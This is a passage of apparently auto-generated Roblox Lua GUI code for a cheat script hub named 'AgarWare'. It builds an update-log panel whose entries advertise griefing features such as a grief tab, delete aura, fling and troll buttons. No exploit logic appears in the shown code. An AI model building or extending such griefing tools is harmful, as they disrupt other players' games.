-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.1.Text
G2L["2f7"] = Instance.new("TextLabel", G2L["2f6"]);
G2L["2f7"]["TextWrapped"] = true;
G2L["2f7"]["BorderSizePixel"] = 0;
G2L["2f7"]["TextSize"] = 12;
G2L["2f7"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f7"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2f7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f7"]["BackgroundTransparency"] = 1;
G2L["2f7"]["RichText"] = true;
G2L["2f7"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2f7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f7"]["Text"] = [[===== v2.8 > v2.8.1<br />New Features - New welcome/joins alerts in TCO>Misc.]];
G2L["2f7"]["Name"] = [[Text]];
G2L["2f7"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.2
G2L["2f8"] = Instance.new("Frame", G2L["2f2"]);
G2L["2f8"]["BorderSizePixel"] = 0;
G2L["2f8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f8"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2f8"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2f8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f8"]["Name"] = [[V2.8.2]];
G2L["2f8"]["LayoutOrder"] = 998;
G2L["2f8"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.2.Text
G2L["2f9"] = Instance.new("TextLabel", G2L["2f8"]);
G2L["2f9"]["TextWrapped"] = true;
G2L["2f9"]["BorderSizePixel"] = 0;
G2L["2f9"]["TextSize"] = 12;
G2L["2f9"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f9"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f9"]["BackgroundTransparency"] = 1;
G2L["2f9"]["RichText"] = true;
G2L["2f9"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f9"]["Text"] = [[===== v2.8.1 > v2.8.2<br />New Features - New respawn at death in the Main page, added a recenter Gui button if the gui is out of the screen.]];
G2L["2f9"]["Name"] = [[Text]];
G2L["2f9"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.3
G2L["2fa"] = Instance.new("Frame", G2L["2f2"]);
G2L["2fa"]["BorderSizePixel"] = 0;
G2L["2fa"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fa"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2fa"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2fa"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fa"]["Name"] = [[V2.8.3]];
G2L["2fa"]["LayoutOrder"] = 997;
G2L["2fa"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.3.Text
G2L["2fb"] = Instance.new("TextLabel", G2L["2fa"]);
G2L["2fb"]["TextWrapped"] = true;
G2L["2fb"]["BorderSizePixel"] = 0;
G2L["2fb"]["TextSize"] = 12;
G2L["2fb"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2fb"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2fb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fb"]["BackgroundTransparency"] = 1;
G2L["2fb"]["RichText"] = true;
G2L["2fb"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2fb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fb"]["Text"] = [[===== v2.8.2 > v2.8.3<br />New Features - New server info shows if your in TCO and OG supported.<br/>Bug Fixes - Faster auto loading.]];
G2L["2fb"]["Name"] = [[Text]];
G2L["2fb"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.4
G2L["2fc"] = Instance.new("Frame", G2L["2f2"]);
G2L["2fc"]["BorderSizePixel"] = 0;
G2L["2fc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fc"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2fc"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2fc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fc"]["Name"] = [[V2.8.4]];
G2L["2fc"]["LayoutOrder"] = 996;
G2L["2fc"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.4.Text
G2L["2fd"] = Instance.new("TextLabel", G2L["2fc"]);
G2L["2fd"]["TextWrapped"] = true;
G2L["2fd"]["BorderSizePixel"] = 0;
G2L["2fd"]["TextSize"] = 12;
G2L["2fd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2fd"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2fd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fd"]["BackgroundTransparency"] = 1;
G2L["2fd"]["RichText"] = true;
G2L["2fd"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2fd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fd"]["Text"] = [[===== v2.8.3 > v2.8.4<br />New Features - Added enlighten icon display on the leaderboard iin TCO > Misc.<br/>Bug Fixes - Touch fling now works.]];
G2L["2fd"]["Name"] = [[Text]];
G2L["2fd"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.5
G2L["2fe"] = Instance.new("Frame", G2L["2f2"]);
G2L["2fe"]["BorderSizePixel"] = 0;
G2L["2fe"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2fe"]["Size"] = UDim2.new(0, 152, 0, 89);
G2L["2fe"]["Position"] = UDim2.new(0, 0, -0.3663, 0);
G2L["2fe"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2fe"]["Name"] = [[V2.8.5]];
G2L["2fe"]["LayoutOrder"] = 995;
G2L["2fe"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.5.Text
G2L["2ff"] = Instance.new("TextLabel", G2L["2fe"]);
G2L["2ff"]["TextWrapped"] = true;
G2L["2ff"]["BorderSizePixel"] = 0;
G2L["2ff"]["TextSize"] = 12;
G2L["2ff"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2ff"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2ff"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ff"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ff"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ff"]["BackgroundTransparency"] = 1;
G2L["2ff"]["RichText"] = true;
G2L["2ff"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2ff"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ff"]["Text"] = [[===== v2.8.4 > v2.8.5<br />New Features - New suggestions and bug reports Tab in Menu Page. New buttons added in Tools Tab and Boombox Tab (TCO).]];
G2L["2ff"]["Name"] = [[Text]];
G2L["2ff"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.6
G2L["300"] = Instance.new("Frame", G2L["2f2"]);
G2L["300"]["BorderSizePixel"] = 0;
G2L["300"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["300"]["Size"] = UDim2.new(0, 152, 0, 82);
G2L["300"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["300"]["Name"] = [[V2.8.6]];
G2L["300"]["LayoutOrder"] = 994;
G2L["300"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.6.Text
G2L["301"] = Instance.new("TextLabel", G2L["300"]);
G2L["301"]["TextWrapped"] = true;
G2L["301"]["BorderSizePixel"] = 0;
G2L["301"]["TextSize"] = 12;
G2L["301"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["301"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["301"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["301"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["301"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["301"]["BackgroundTransparency"] = 1;
G2L["301"]["RichText"] = true;
G2L["301"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["301"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["301"]["Text"] = [[===== v2.8.5 > v2.8.6<br />New Features - New auto execute in the Settings Tab.<br/>Bug Fixes - Auto Load is now 3x faster.]];
G2L["301"]["Name"] = [[Text]];
G2L["301"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.7
G2L["302"] = Instance.new("Frame", G2L["2f2"]);
G2L["302"]["BorderSizePixel"] = 0;
G2L["302"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["302"]["Size"] = UDim2.new(0, 152, 0, 56);
G2L["302"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["302"]["Name"] = [[V2.8.7]];
G2L["302"]["LayoutOrder"] = 993;
G2L["302"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.7.Text
G2L["303"] = Instance.new("TextLabel", G2L["302"]);
G2L["303"]["TextWrapped"] = true;
G2L["303"]["BorderSizePixel"] = 0;
G2L["303"]["TextSize"] = 12;
G2L["303"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["303"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["303"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["303"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["303"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["303"]["BackgroundTransparency"] = 1;
G2L["303"]["RichText"] = true;
G2L["303"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["303"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["303"]["Text"] = [[===== v2.8.6 > v2.8.7<br />New Features - Weird buttons added in the Troll page (TCO).]];
G2L["303"]["Name"] = [[Text]];
G2L["303"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.8
G2L["304"] = Instance.new("Frame", G2L["2f2"]);
G2L["304"]["BorderSizePixel"] = 0;
G2L["304"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["304"]["Size"] = UDim2.new(0, 152, 0, 117);
G2L["304"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["304"]["Name"] = [[V2.8.8]];
G2L["304"]["LayoutOrder"] = 992;
G2L["304"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.8.Text
G2L["305"] = Instance.new("TextLabel", G2L["304"]);
G2L["305"]["TextWrapped"] = true;
G2L["305"]["BorderSizePixel"] = 0;
G2L["305"]["TextSize"] = 12;
G2L["305"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["305"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["305"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["305"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["305"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["305"]["BackgroundTransparency"] = 1;
G2L["305"]["RichText"] = true;
G2L["305"]["Size"] = UDim2.new(0, 133, 0, 111);
G2L["305"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["305"]["Text"] = [[===== v2.8.7 > v2.8.8<br />New Features - Added Anti Vampire, a preview of the new troll page being added in v2.9.<br/>Changes - Updated the looks and layout in the Menu page.]];
G2L["305"]["Name"] = [[Text]];
G2L["305"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.9
G2L["306"] = Instance.new("Frame", G2L["2f2"]);
G2L["306"]["BorderSizePixel"] = 0;
G2L["306"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["306"]["Size"] = UDim2.new(0, 152, 0, 103);
G2L["306"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["306"]["Name"] = [[V2.8.9]];
G2L["306"]["LayoutOrder"] = 991;
G2L["306"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.9.Text
G2L["307"] = Instance.new("TextLabel", G2L["306"]);
G2L["307"]["TextWrapped"] = true;
G2L["307"]["BorderSizePixel"] = 0;
G2L["307"]["TextSize"] = 12;
G2L["307"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["307"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["307"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["307"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["307"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["307"]["BackgroundTransparency"] = 1;
G2L["307"]["RichText"] = true;
G2L["307"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["307"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["307"]["Text"] = [[===== v2.8.8 > v2.8.9<br />New Features - Added restore brick and anti glitch. (TCO)<br/>OPTIMISING MY GUI CURRENTLY, GRIEF AURA AND GRIEF WILL BE ADDED AFTER!]];
G2L["307"]["Name"] = [[Text]];
G2L["307"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.10
G2L["308"] = Instance.new("Frame", G2L["2f2"]);
G2L["308"]["BorderSizePixel"] = 0;
G2L["308"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["308"]["Size"] = UDim2.new(0, 152, 0, 168);
G2L["308"]["Position"] = UDim2.new(0, 0, -0.10989, 0);
G2L["308"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["308"]["Name"] = [[V2.8.10]];
G2L["308"]["LayoutOrder"] = 990;
G2L["308"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.10.Text
G2L["309"] = Instance.new("TextLabel", G2L["308"]);
G2L["309"]["TextWrapped"] = true;
G2L["309"]["BorderSizePixel"] = 0;
G2L["309"]["TextSize"] = 12;
G2L["309"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["309"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["309"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["309"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["309"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["309"]["BackgroundTransparency"] = 1;
G2L["309"]["RichText"] = true;
G2L["309"]["Size"] = UDim2.new(0, 133, 0, 118);
G2L["309"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["309"]["Text"] = [[===== v2.8.9 > v2.8.10<br />New Features - Added B-Kit UI Fix in misc.<br/>Bug Fixes - Fixed anti glitch from being an anti teleport, added both anti tp, glitch. Fixed anti maptide nan, now only teleports when spawn is bugged + teleports to coordnates 0, 0, 0 instead of a player.]];
G2L["309"]["Name"] = [[Text]];
G2L["309"]["Position"] = UDim2.new(0.04605, 0, -0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.0
G2L["30a"] = Instance.new("Frame", G2L["2f2"]);
G2L["30a"]["BorderSizePixel"] = 0;
G2L["30a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30a"]["Size"] = UDim2.new(0, 152, 0, 76);
G2L["30a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30a"]["Name"] = [[V2.9.0]];
G2L["30a"]["LayoutOrder"] = 989;
G2L["30a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.0.Text
G2L["30b"] = Instance.new("TextLabel", G2L["30a"]);
G2L["30b"]["TextWrapped"] = true;
G2L["30b"]["BorderSizePixel"] = 0;
G2L["30b"]["TextSize"] = 12;
G2L["30b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["30b"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["30b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30b"]["BackgroundTransparency"] = 1;
G2L["30b"]["RichText"] = true;
G2L["30b"]["Size"] = UDim2.new(0, 133, 0, 82);
G2L["30b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30b"]["Text"] = [[===== v2.8.10 > v2.9.0<br />New Features - NEW GRIEF TAB, added ping on the top bar.<br/>Grief aura coming soon.]];
G2L["30b"]["Name"] = [[Text]];
G2L["30b"]["Position"] = UDim2.new(0.04605, 0, -0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.1
G2L["30c"] = Instance.new("Frame", G2L["2f2"]);
G2L["30c"]["BorderSizePixel"] = 0;
G2L["30c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30c"]["Size"] = UDim2.new(0, 152, 0, 113);
G2L["30c"]["Position"] = UDim2.new(0, 0, -0.09158, 0);
G2L["30c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30c"]["Name"] = [[V2.9.1]];
G2L["30c"]["LayoutOrder"] = 988;
G2L["30c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.9.1.Text
G2L["30d"] = Instance.new("TextLabel", G2L["30c"]);
G2L["30d"]["TextWrapped"] = true;
G2L["30d"]["BorderSizePixel"] = 0;
G2L["30d"]["TextSize"] = 12;
G2L["30d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["30d"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["30d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30d"]["BackgroundTransparency"] = 1;
G2L["30d"]["RichText"] = true;
G2L["30d"]["Size"] = UDim2.new(0, 133, 0, 112);
G2L["30d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30d"]["Text"] = [[===== v2.9.0 > v2.9.1<br />Bug Fixes - Fixed anti fling not working, dropdowns not working, grief tab not deleting properly.<br/>Changes - changed delete all blocks to delete aura.]];
G2L["30d"]["Name"] = [[Text]];
G2L["30d"]["Position"] = UDim2.new(0.04605, 0, -0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup
G2L["30e"] = Instance.new("Frame", G2L["2e9"]);
G2L["30e"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["30e"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["30e"]["Size"] = UDim2.new(0, 170, 0, 104);
G2L["30e"]["Position"] = UDim2.new(0, 0, 0.24722, 0);
G2L["30e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["30e"]["Name"] = [[TCOGroup]];
G2L["30e"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOScript
G2L["30f"] = Instance.new("LocalScript", G2L["30e"]);
G2L["30f"]["Name"] = [[TCOScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.UIListLayout
G2L["310"] = Instance.new("UIListLayout", G2L["30e"]);
G2L["310"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOAccentColor
G2L["311"] = Instance.new("Frame", G2L["30e"]);
G2L["311"]["BackgroundColor3"] = Color3.fromRGB(140, 140, 140);
G2L["311"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["311"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["311"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["311"]["BorderColor3"] = Color3.fromRGB(117, 117, 117);
G2L["311"]["Name"] = [[TCOAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle
G2L["312"] = Instance.new("TextLabel", G2L["30e"]);
G2L["312"]["TextWrapped"] = true;
G2L["312"]["BorderSizePixel"] = 0;
G2L["312"]["TextSize"] = 14;
G2L["312"]["TextScaled"] = true;
G2L["312"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["312"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["312"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["312"]["BackgroundTransparency"] = 0.95;
G2L["312"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["312"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["312"]["Text"] = [[TCO]];
G2L["312"]["LayoutOrder"] = 1;
G2L["312"]["Name"] = [[TCOTitle]];
G2L["312"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TitleScript
G2L["313"] = Instance.new("LocalScript", G2L["312"]);
G2L["313"]["Name"] = [[TitleScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TCOMinimize
G2L["314"] = Instance.new("TextButton", G2L["312"]);
G2L["314"]["BorderSizePixel"] = 0;
G2L["314"]["TextSize"] = 14;
G2L["314"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["314"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["314"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["314"]["BackgroundTransparency"] = 1;
G2L["314"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["314"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["314"]["Text"] = [[-]];
G2L["314"]["Name"] = [[TCOMinimize]];
G2L["314"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.BlockCountRow
G2L["315"] = Instance.new("Frame", G2L["30e"]);
G2L["315"]["BorderSizePixel"] = 0;
G2L["315"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["315"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["315"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["315"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["315"]["Name"] = [[BlockCountRow]];
G2L["315"]["LayoutOrder"] = 4;
G2L["315"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.BlockCountRow.Text
G2L["316"] = Instance.new("TextLabel", G2L["315"]);
G2L["316"]["BorderSizePixel"] = 0;
G2L["316"]["TextSize"] = 14;
G2L["316"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["316"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["316"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["316"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["316"]["BackgroundTransparency"] = 1;
G2L["316"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["316"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["316"]["Text"] = [[🧱 Total Blocks: 0]];
G2L["316"]["Name"] = [[Text]];
G2L["316"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.AdminRow
G2L["317"] = Instance.new("Frame", G2L["30e"]);
G2L["317"]["BorderSizePixel"] = 0;
G2L["317"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["317"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["317"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["317"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["317"]["Name"] = [[AdminRow]];
G2L["317"]["LayoutOrder"] = 4;
G2L["317"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.AdminRow.Text
G2L["318"] = Instance.new("TextLabel", G2L["317"]);
G2L["318"]["BorderSizePixel"] = 0;
G2L["318"]["TextSize"] = 14;
G2L["318"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["318"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["318"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["318"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["318"]["BackgroundTransparency"] = 1;
G2L["318"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["318"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["318"]["Text"] = [[👤 Admin: N\A]];
G2L["318"]["Name"] = [[Text]];
G2L["318"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


